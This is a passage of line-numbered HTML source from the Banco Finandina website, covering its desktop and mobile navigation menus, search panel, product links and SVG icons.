3370 <span class="btn-solicita">Solicitar ya</span> 3371 </a> 3372 </div> 3373 3374 </div> 3375 <a href="https://www.bancofinandina.com/productos/creditos/libranza" role="menuitem" target="_self" style="margin-left: auto; padding: 0; height: auto; display: flex; align-items: center; text-decoration: none;"> 3376 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3377 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3378 </svg> 3379 </a> 3380 </div> 3381 </li> 3382 3383 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3384 <div class="sublink" style="text-align: left; font-size: 16px; font-weight: 500; padding: 6px 12px; line-height: 19px; height: 33px;"> 3385 <a href="https://www.bancofinandina.com/productos/creditos/credito-libre-inversion" role="menuitem" target="_self" style="display: contents; color: inherit; text-decoration: none;"> 3386 <div class="submenu-icon"> 3387 <img src="https://www.bancofinandina.com/hs-fs/hubfs/libre-inversion.png?width=23&height=24&name=libre-inversion.png" alt="libre-inversion" width="23" height="24" srcset="https://www.bancofinandina.com/hs-fs/hubfs/libre-inversion.png?width=12&height=12&name=libre-inversion.png 12w, https://www.bancofinandina.com/hs-fs/hubfs/libre-inversion.png?width=23&height=24&name=libre-inversion.png 23w, https://www.bancofinandina.com/hs-fs/hubfs/libre-inversion.png?width=35&height=36&name=libre-inversion.png 35w, https://www.bancofinandina.com/hs-fs/hubfs/libre-inversion.png?width=46&height=48&name=libre-inversion.png 46w, https://www.bancofinandina.com/hs-fs/hubfs/libre-inversion.png?width=58&height=60&name=libre-inversion.png 58w, https://www.bancofinandina.com/hs-fs/hubfs/libre-inversion.png?width=69&height=72&name=libre-inversion.png 69w" sizes="(max-width: 23px) 100vw, 23px"> 3388 </div> 3389 </a> 3390 <div class="contenedor-menu-texto"> 3391 <div> 3392 <a href="https://www.bancofinandina.com/productos/creditos/credito-libre-inversion" role="menuitem" target="_self" style="color: inherit; text-decoration: none; padding: 0; height: auto; display: block; line-height: inherit; font-size: inherit; font-weight: inherit;"> 3393 Crédito de libre inversión 3394 </a> 3395 </div> 3396 3397 <div> 3398 <a href="https://solicituddigital.bancofinandina.com/formulario-de-venta/credito-de-libre-inversion?tipoProducto=CreditoLibreInversion&origen=BotonMenuGlobalLibreInversion" role="menuitem" target="_self" style="padding: 0; height: auto; text-decoration: none; display: inline-block;"> 3399 <span class="btn-solicita">Solicitar ya</span> 3400 </a> 3401 </div> 3402 3403 </div> 3404 <a href="https://www.bancofinandina.com/productos/creditos/credito-libre-inversion" role="menuitem" target="_self" style="margin-left: auto; padding: 0; height: auto; display: flex; align-items: center; text-decoration: none;"> 3405 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3406 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3407 </svg> 3408 </a> 3409 </div> 3410 </li> 3411 3412 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3413 <div class="sublink" style="text-align: left; font-size: 16px; font-weight: 500; padding: 6px 12px; line-height: 19px; height: 33px;"> 3414 <a href="https://www.bancofinandina.com/productos" role="menuitem" target="_self" style="display: contents; color: inherit; text-decoration: none;"> 3415 <div class="submenu-icon"> 3416 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Group%2034720.png?width=20&height=20&name=Group%2034720.png" alt="Group 34720" width="20" height="20" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Group%2034720.png?width=10&height=10&name=Group%2034720.png 10w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034720.png?width=20&height=20&name=Group%2034720.png 20w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034720.png?width=30&height=30&name=Group%2034720.png 30w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034720.png?width=40&height=40&name=Group%2034720.png 40w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034720.png?width=50&height=50&name=Group%2034720.png 50w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034720.png?width=60&height=60&
3416name=Group%2034720.png 60w" sizes="(max-width: 20px) 100vw, 20px"> 3417 </div> 3418 </a> 3419 <div class="contenedor-menu-texto"> 3420 <div> 3421 <a href="https://www.bancofinandina.com/productos" role="menuitem" target="_self" style="color: inherit; text-decoration: none; padding: 0; height: auto; display: block; line-height: inherit; font-size: inherit; font-weight: inherit;"> 3422 Ver más productos 3423 </a> 3424 </div> 3425 3426 </div> 3427 <a href="https://www.bancofinandina.com/productos" role="menuitem" target="_self" style="margin-left: auto; padding: 0; height: auto; display: flex; align-items: center; text-decoration: none;"> 3428 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3429 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3430 </svg> 3431 </a> 3432 </div> 3433 </li> 3434 3435 </ul> 3436 </div> 3437 </div> 3438 3439 </li> 3440 3441 <li class="hs-menu-item hs-menu-depth-1 hs-item-has-children" role="none"> 3442 3443 <details role="menuitem" target="_self" aria-haspopup="true" aria-expanded="false"> 3444 <summary style="display:flex; gap:5px"> 3445 Conócenos 3446 <svg xmlns="http://www.w3.org/2000/svg" width="12" height="6" viewbox="0 0 12 6" fill="none"> 3447 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.142519 0.143721C0.332545 -0.0479071 0.640638 -0.0479071 0.830664 0.143721L5.06077 4.4095C5.37031 4.72165 5.87969 4.72165 6.18923 4.4095L10.4193 0.143721C10.6094 -0.0479071 10.9175 -0.0479071 11.1075 0.143721C11.2975 0.33535 11.2975 0.64604 11.1075 0.837669L6.87738 5.10344C6.18778 5.79885 5.06222 5.79885 4.37262 5.10344L0.142519 0.837669C-0.0475065 0.64604 -0.0475065 0.33535 0.142519 0.143721Z"></path> 3448 </svg> 3449 </summary> 3450 </details> 3451 <div class="trans-border hs-menu-children-wrapper"> 3452 <!-- Capas del Glass --> 3453 <div class="glass-filter"></div> 3454 <div class="glass-overlay"></div> 3455 <div class="glass-specular"></div> 3456 <div class="menu-inner-wrap"> 3457 <ul role="menu" class="menu-una-columna" style="padding: 20px;"> 3458 3459 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3460 <div class="sublink" style="text-align: left; font-size: 16px; font-weight: 500; padding: 6px 12px; line-height: 19px; height: 33px;"> 3461 <a href="https://www.bancofinandina.com/banco-digital-bic" role="menuitem" target="_self" style="display: contents; color: inherit; text-decoration: none;"> 3462 <div class="submenu-icon"> 3463 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC-1.png?width=21&height=21&name=Sociedad%20BIC-1.png" alt="Sociedad BIC-1" width="21" height="21" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC-1.png?width=11&height=11&name=Sociedad%20BIC-1.png 11w, https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC-1.png?width=21&height=21&name=Sociedad%20BIC-1.png 21w, https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC-1.png?width=32&height=32&name=Sociedad%20BIC-1.png 32w, https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC-1.png?width=42&height=42&name=Sociedad%20BIC-1.png 42w, https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC-1.png?width=53&height=53&name=Sociedad%20BIC-1.png 53w, https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC-1.png?width=63&height=63&
3463name=Sociedad%20BIC-1.png 63w" sizes="(max-width: 21px) 100vw, 21px"> 3464 </div> 3465 </a> 3466 <div class="contenedor-menu-texto"> 3467 <div> 3468 <a href="https://www.bancofinandina.com/banco-digital-bic" role="menuitem" target="_self" style="color: inherit; text-decoration: none; padding: 0; height: auto; display: block; line-height: inherit; font-size: inherit; font-weight: inherit;"> 3469 Banco Digital BIC 3470 </a> 3471 </div> 3472 3473 </div> 3474 <a href="https://www.bancofinandina.com/banco-digital-bic" role="menuitem" target="_self" style="margin-left: auto; padding: 0; height: auto; display: flex; align-items: center; text-decoration: none;"> 3475 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3476 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3477 </svg> 3478 </a> 3479 </div> 3480 </li> 3481 3482 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3483 <div class="sublink" style="text-align: left; font-size: 16px; font-weight: 500; padding: 6px 12px; line-height: 19px; height: 33px;"> 3484 <a href="https://www.bancofinandina.com/banco-digital-bic/sostenible-y-socialmente-responsable" role="menuitem" target="_self" style="display: contents; color: inherit; text-decoration: none;"> 3485 <div class="submenu-icon"> 3486 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(3).png?width=18&height=19&name=Vector%20(3).png" alt="Vector (3)" width="18" height="19" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(3).png?width=9&height=10&name=Vector%20(3).png 9w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(3).png?width=18&height=19&name=Vector%20(3).png 18w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(3).png?width=27&height=29&name=Vector%20(3).png 27w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(3).png?width=36&height=38&name=Vector%20(3).png 36w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(3).png?width=45&height=48&name=Vector%20(3).png 45w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(3).png?width=54&height=57&name=Vector%20(3).png 54w" sizes="(max-width: 18px) 100vw, 18px"> 3487 </div> 3488 </a> 3489 <div class="contenedor-menu-texto"> 3490 <div> 3491 <a href="https://www.bancofinandina.com/banco-digital-bic/sostenible-y-socialmente-responsable" role="menuitem" target="_self" style="color: inherit; text-decoration: none; padding: 0; height: auto; display: block; line-height: inherit; font-size: inherit; font-weight: inherit;"> 3492 Sostenibilidad 3493 </a> 3494 </div> 3495 3496 </div> 3497 <a href="https://www.bancofinandina.com/banco-digital-bic/sostenible-y-socialmente-responsable" role="menuitem" target="_self" style="margin-left: auto; padding: 0; height: auto; display: flex; align-items: center; text-decoration: none;"> 3498 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3499 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3500 </svg> 3501 </a> 3502 </div> 3503 </li> 3504 3505 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3506 <div class="sublink" style="text-align: left; font-size: 16px; font-weight: 500; padding: 6px 12px; line-height: 19px; height: 33px;"> 3507 <a href="https://www.bancofinandina.com/inversionistas" role="menuitem" target="_self" style="display: contents; color: inherit; text-decoration: none;"> 3508 <div class="submenu-icon"> 3509 <img src="https://www.bancofinandina.com/hubfs/inversionistas-icon.svg" alt="inversionistas-icon" width="14" height="21"> 3510 </div> 3511 </a> 3512 <div class="contenedor-menu-texto"> 3513 <div> 3514 <a href="https://www.bancofinandina.com/inversionistas" role="menuitem" target="_self" style="color: inherit; text-decoration: none; padding: 0; height: auto; display: block; line-height: inherit; font-size: inherit; font-weight: inherit;"> 3515 Inversionistas 3516 </a> 3517 </div> 3518 3519 </div> 3520 <a href="https://www.bancofinandina.com/inversionistas" role="menuitem" target="_self" style="margin-left: auto; padding: 0; height: auto; display: flex; align-items: center; text-decoration: none;"> 3521 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3522 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3523 </svg> 3524 </a> 3525 </div> 3526 </li> 3527 3528 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3529 <div class="sublink" style="text-align: left; font-size: 16px; font-weight: 500; padding: 6px 12px; line-height: 19px; height: 33px;"> 3530 <a href="https://www.bancofinandina.com/finanblog" role="menuitem" target="_self" style="display: contents; color: inherit; text-decoration: none;"> 3531 <div class="submenu-icon"> 3532 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(4).png?width=22&height=23&name=Vector%20(4).png" alt="Vector (4)" width="22" height="23" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(4).png?width=11&height=12&name=Vector%20(4).png 11w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(4).png?width=22&height=23&name=Vector%20(4).png 22w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(4).png?width=33&height=35&name=Vector%20(4).png 33w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(4).png?width=44&height=46&name=Vector%20(4).png 44w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(4).png?width=55&height=58&name=Vector%20(4).png 55w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(4).png?width=66&height=69&name=Vector%20(4).png 66w" sizes="(max-width: 22px) 100vw, 22px"> 3533 </div> 3534 </a> 3535 <div class="contenedor-menu-texto"> 3536 <div> 3537 <a href="https://www.bancofinandina.com/finanblog" role="menuitem" target="_self" style="color: inherit; text-decoration: none; padding: 0; height: auto; display: block; line-height: inherit; font-size: inherit; font-weight: inherit;"> 3538 Noticias 3539 </a> 3540 </div> 3541 3542 </div> 3543 <a href="https://www.bancofinandina.com/finanblog" role="menuitem" target="_self" style="margin-left: auto; padding: 0; height: auto; display: flex; align-items: center; text-decoration: none;"> 3544 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3545 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3546 </svg> 3547 </a> 3548 </div> 3549 </li> 3550 3551 </ul> 3552 </div> 3553 </div> 3554 3555 </li> 3556 3557 <li class="hs-menu-item hs-menu-depth-1 " role="none"> 3558 3559 <a href="https://www.bancofinandina.com/servicio-al-cliente" role="menuitem" target="_self">Servicio al cliente</a> 3560 3561 </li> 3562 3563 </ul> 3564 <div class="ctas-nav"> 3565 <a id="lupita" class="btn-primary no-border" href="#panel-buscar" aria-label="Abrir búsqueda" aria-expanded="false" aria-controls="panel-buscar"> 3566 <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none"> 3567 <path fill-rule="evenodd" clip-rule="evenodd" d="M11.5294 1.41176C5.94159 1.41176 1.41176 5.94159 1.41176 11.5294C1.41176 17.1172 5.94159 21.6471 11.5294 21.6471C17.1172 21.6471 21.6471 17.1172 21.6471 11.5294C21.6471 5.94159 17.1172 1.41176 11.5294 1.41176ZM0 11.5294C0 5.16189 5.16189 0 11.5294 0C17.8969 0 23.0588 5.16189 23.0588 11.5294C23.0588 17.8969 17.89
356769 23.0588 11.5294 23.0588C5.16189 23.0588 0 17.8969 0 11.5294Z" /> 3568 <path fill-rule="evenodd" clip-rule="evenodd" d="M20.9126 20.9126C21.1883 20.637 21.6352 20.637 21.9109 20.9126L23.7933 22.795C24.0689 23.0706 24.0689 23.5176 23.7933 23.7933C23.5176 24.0689 23.0706 24.0689 22.795 23.7933L20.9126 21.9109C20.637 21.6352 20.637 21.1883 20.9126 20.9126Z" /> 3569 </svg> 3570 </a> 3571 <a class="btn-primary " href="/productos/cuentas-de-ahorro/abrir-cuenta-de-ahorros?Origen=BotonHeader">Abrir cuenta</a> 3572 <a class="btn-primary active" href="https://transacciones.bancofinandina.com/BP/login?_gl=1*bpv1ec*_gcl_au*MTQ5NzYzODMxNC4xNzY5MDkzNDM4*_ga*MTAxNzc2Njg5LjE3NjkwOTM0Mzg.*_ga_5YT7RHYRFB*czE3NzIwNDk0MjckbzE4JGcxJHQxNzcyMDUwODIxJGo1OCRsMCRoMA..">Acceso cliente</a> 3573 </div> 3574 </div> 3575 <div class="hamburger"> 3576 <a href="https://transacciones.bancofinandina.com/BP/login?_gl=1*bpv1ec*_gcl_au*MTQ5NzYzODMxNC4xNzY5MDkzNDM4*_ga*MTAxNzc2Njg5LjE3NjkwOTM0Mzg.*_ga_5YT7RHYRFB*czE3NzIwNDk0MjckbzE4JGcxJHQxNzcyMDUwODIxJGo1OCRsMCRoMA.." aria-label="Acceso cliente"> 3577 <!-- Ãcono usuario inline â hereda currentColor para modo claro/oscuro --> 3578 <svg class="hamburger__svg hamburger__svg--user" width="32" height="32" viewbox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"> 3579 <circle cx="12" cy="8" r="4" stroke="currentColor" stroke-width="1.5" /> 3580 <path d="M4 20c0-4.418 3.582-7 8-7s8 2.582 8 7" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" /> 3581 </svg> 3582 </a> 3583 <button id="hamburger__button" type="button" aria-label="Abrir menú"> 3584 <!-- SVG inline â reemplaza PNG 32x32 para eliminar advertencia de baja resolución --> 3585 <svg id="hamburger__icon" width="20" height="20" viewbox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"> 3586 <path d="M3 6h18M3 12h18M3 18h18" stroke="currentColor" stroke-width="2" stroke-linecap="round" /> 3587 </svg> 3588 </button> 3589 </div> 3590 </nav> 3591 <!-- SVG filter --> 3592 <svg style="display:none" xmlns="http://www.w3.org/2000/svg"> 3593 <filter id="glass-distortion"> 3594 <feturbulence type="turbulence" baseFrequency="0.008" numOctaves="2" result="noise" /> 3595 <fedisplacementmap in="SourceGraphic" in2="noise" scale="77" /> 3596 </filter> 3597 </svg> 3598 <aside id="panel-buscar" class="panel" role="dialog" aria-labelledby="search-title" aria-modal="true"> 3599 3600 <div class="panel-header"> 3601 <form class="searchbar" action="/hs-search-results"> 3602 <svg class="searchbar-pre-icon" width="16" height="16" viewbox="0 0 15 15" fill="none" aria-hidden="true" xmlns="http://www.w3.org/2000/svg"> 3603 <path fill-rule="evenodd" clip-rule="evenodd" d="M6.84559 0.838235C3.52782 0.838235 0.838235 3.52782 0.838235 6.84559C0.838235 10.1634 3.52782 12.8529 6.84559 12.8529C10.1634 12.8529 12.8529 10.1634 12.8529 6.84559C12.8529 3.52782 10.1634 0.838235 6.84559 0.838235ZM0 6.84559C0 3.06487 3.06487 0 6.84559 0C10.6263 0 13.6912 3.06487 13.6912 6.84559C13.6912 10.6263 10.6263 13.6912 6.84559 13.6912C3.06487 13.6912 0 10.6263 0 6.84559Z" fill="rgba(255,255,255,0.65)" /> 3604 <path fill-rule="evenodd" clip-rule="evenodd" d="M12.4169 12.4169C12.5805 12.2532 12.8459 12.2532 13.0096 12.4169L14.1272 13.5345C14.2909 13.6982 14.2909 13.9636 14.1272 14.1272C13.9636 14.2909 13.6982 14.2909 13.5345 14.1272L12.4169 13.0096C12.2532 12.8459 12.2532 12.5805 12.4169 12.4169Z" fill="rgba(255,255,255,0.65)" /> 3605 </svg> 3606 <input type="search" name="q" id="search-input" placeholder="¿Qué buscas?" aria-label="Buscar en el sitio" autocomplete="off"> 3607 <button class="go" aria-label="Buscar" type="submit"> 3608 <svg width="16" height="16" viewbox="0 0 16 16" fill="none" aria-hidden="true"> 3609 <path fill-rule="evenodd" clip-rule="evenodd" d="M3.5 8C3.5 7.72386 3.72386 7.5 4 7.5H10.2929L8.14645 5.35355C7.95118 5.15829 7.95118 4.84171 8.14645 4.64645C8.34171 4.45118 8.65829 4.45118 8.85355 4.64645L11.8536 7.64645C12.0488 7.84171 12.0488 8.15829 11.8536 8.35355L8.85355 11.3536C8.65829 11.5488 8.34171 11.5488 8.14645 11.3536C7.95118 11.1583 7.95118 10.8417 8.14645 10.6464L10.2929 8.5H4C3.72386 8.5 3.5 8.27614 3.5 8Z" fill="white" /> 3610 </svg> 3611 </button> 3612 </form> 3613 </div> 3614 3615 <div class="links"> 3616 <h4 id="search-title">Accesos directos</h4> 3617 <a class="link-item" href="/bre-b">
3618 <span class="link-icon" style="background:rgba(120,53,195,0.12)"> 3619 <svg width="15" height="15" viewbox="0 0 24 24" fill="none" aria-hidden="true" xmlns="http://www.w3.org/2000/svg"> 3620 <circle cx="17" cy="7" r="4" stroke="#7835C3" stroke-width="1.6" /> 3621 <path d="M13.4 10.6L4 20" stroke="#7835C3" stroke-width="1.6" stroke-linecap="round" /> 3622 <path d="M6 18L8 20" stroke="#7835C3" stroke-width="1.6" stroke-linecap="round" /> 3623 <path d="M9 15L11 17" stroke="#7835C3" stroke-width="1.6" stroke-linecap="round" /> 3624 </svg> 3625 </span> 3626 <span>Llaves Bre-B</span> 3627 </a> 3628 <a class="link-item" href="/productos/credito-vehiculo"> 3629 <span class="link-icon" style="background:rgba(227,25,82,0.10)"> 3630 <svg width="15" height="15" viewbox="0 0 24 24" fill="none" aria-hidden="true" xmlns="http://www.w3.org/2000/svg"> 3631 <path d="M5 13L7 7H17L19 13" stroke="#E31952" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round" /> 3632 <rect x="3" y="13" width="18" height="6" rx="1.5" stroke="#E31952" stroke-width="1.6" /> 3633 <circle cx="7.5" cy="19" r="2" stroke="#E31952" stroke-width="1.6" /> 3634 <circle cx="16.5" cy="19" r="2" stroke="#E31952" stroke-width="1.6" /> 3635 </svg> 3636 </span> 3637 <span>Crédito de vehÃculo</span> 3638 </a> 3639 <a class="link-item" href="/productos/cuentas-de-ahorro/cuenta-de-ahorro-de-alto-rendimiento"> 3640 <span class="link-icon" style="background:rgba(92,45,144,0.10)"> 3641 <svg width="15" height="15" viewbox="0 0 24 24" fill="none" aria-hidden="true" xmlns="http://www.w3.org/2000/svg"> 3642 <rect x="6" y="2" width="12" height="20" rx="2.5" stroke="#5C2D90" stroke-width="1.6" /> 3643 <circle cx="12" cy="18" r="1" fill="#5C2D90" /> 3644 <line x1="9" y1="6.5" x2="15" y2="6.5" stroke="#5C2D90" stroke-width="1.5" stroke-linecap="round" /> 3645 </svg> 3646 </span> 3647 <span>Flexi digital +</span> 3648 </a> 3649 </div> 3650 </aside> 3651</div> 3652 3653<div class="mov-menu"> 3654 <div class="topmovmen"> 3655 <div class="row dir-row-mov"> 3656 <a href="/" class="logo-link" aria-label="Ir al inicio"> 3657 <img src="https://www.bancofinandina.com/hs-fs/hubfs/logo-banco-finandina.png?width=114&height=36&name=logo-banco-finandina.png" alt="logo-banco-finandina" loading="lazy" width="114" height="36" srcset="https://www.bancofinandina.com/hs-fs/hubfs/logo-banco-finandina.png?width=57&height=18&name=logo-banco-finandina.png 57w, https://www.bancofinandina.com/hs-fs/hubfs/logo-banco-finandina.png?width=114&height=36&name=logo-banco-finandina.png 114w, https://www.bancofinandina.com/hs-fs/hubfs/logo-banco-finandina.png?width=171&height=54&name=logo-banco-finandina.png 171w, https://www.bancofinandina.com/hs-fs/hubfs/logo-banco-finandina.png?width=228&height=72&name=logo-banco-finandina.png 228w, https://www.bancofinandina.com/hs-fs/hubfs/logo-banco-finandina.png?width=285&height=90&name=logo-banco-finandina.png 285w, https://www.bancofinandina.com/hs-fs/hubfs/logo-banco-finandina.png?width=342&height=108&name=logo-banco-finandina.png 342w" sizes="(max-width: 114px) 100vw, 114px"> 3658 </a> 3659 3660 <div class="hamburger"> 3661 <button id="close__button" type="button" aria-label="Cerrar menú"> 3662 <img id="close__icon" src="https://www.bancofinandina.com/hs-fs/hubfs/Icon-Close.png?width=32&height=32&name=Icon-Close.png" alt="Icon-Close" width="32" height="32" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Icon-Close.png?width=16&height=16&name=Icon-Close.png 16w, https://www.bancofinandina.com/hs-fs/hubfs/Icon-Close.png?width=32&height=32&name=Icon-Close.png 32w, https://www.bancofinandina.com/hs-fs/hubfs/Icon-Close.png?width=48&height=48&name=Icon-Close.png 48w, https://www.bancofinandina.com/hs-fs/hubfs/Icon-Close.png?width=64&height=64&name=Icon-Close.png 64w, https://www.bancofinandina.com/hs-fs/hubfs/Icon-Close.png?width=80&height=80&name=Icon-Close.png 80w, https://www.bancofinandina.com/hs-fs/hubfs/Icon-Close.png?width=96&height=96&name=Icon-Close.png 96w" sizes="(max-width: 32px) 100vw, 32px"> 3663 </button> 3664 </div> 3665</div> 3666 <form class="search-mov btn-primary"> 3667 <input type="text" name="search"> 3668 <button type="submit" class="icon-button"> 3669 <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none"> 3670 <path fill-rule="evenodd" clip-rule="evenodd" d="M11.5294 1.41176C5.94159 1.41176 1.41176 5.94159 1.41176 11.5294C1.41176 17.1172 5.94159 21.6471 11.5294 21.6471C17.1172 21.6471 21.6471 17.1172 21.6471 11.5294C21.6471 5.94159 17.1172 1.41176 11.5294 1.41176ZM0 11.5294C0 5.16189 5.16189 0 11.5294 0C17.8969 0 23.0588 5.16189 23.0588 11.5294C23.0588 17.8969 17.89
367069 23.0588 11.5294 23.0588C5.16189 23.0588 0 17.8969 0 11.5294Z" fill="#E31952" /> 3671 <path fill-rule="evenodd" clip-rule="evenodd" d="M20.9126 20.9126C21.1883 20.637 21.6352 20.637 21.9109 20.9126L23.7933 22.795C24.0689 23.0706 24.0689 23.5176 23.7933 23.7933C23.5176 24.0689 23.0706 24.0689 22.795 23.7933L20.9126 21.9109C20.637 21.6352 20.637 21.1883 20.9126 20.9126Z" fill="#E31952" /> 3672 </svg> 3673 </button> 3674 </form> 3675 <div class="border-red-mov"> 3676 <a class="btn-primary no-border active" href="https://www.bancofinandina.com/">Personas</a> 3677 <a class="btn-primary no-border " href="https://www.bancofinandina.com/empresas">Empresas</a> 3678 </div> 3679 <hr class="hr-mov"> 3680 <ul role="menu"> 3681 3682 <li class="hs-menu-item hs-menu-depth-1" role="none"> 3683 3684 <details role="menuitem" target="_self" aria-haspopup="true" aria-expanded="false"> 3685 <summary> 3686 Productos 3687 <svg xmlns="http://www.w3.org/2000/svg" width="12" height="6" viewbox="0 0 12 6" fill="none"> 3688 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.142519 0.143721C0.332545 -0.0479071 0.640638 -0.0479071 0.830664 0.143721L5.06077 4.4095C5.37031 4.72165 5.87969 4.72165 6.18923 4.4095L10.4193 0.143721C10.6094 -0.0479071 10.9175 -0.0479071 11.1075 0.143721C11.2975 0.33535 11.2975 0.64604 11.1075 0.837669L6.87738 5.10344C6.18778 5.79885 5.06222 5.79885 4.37262 5.10344L0.142519 0.837669C-0.0475065 0.64604 -0.0475065 0.33535 0.142519 0.143721Z" fill="#E31952"></path> 3689 </svg> 3690 </summary> 3691 <ul role="menu" class="hs-menu-children-wrapper"> 3692 3693 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3694 <a 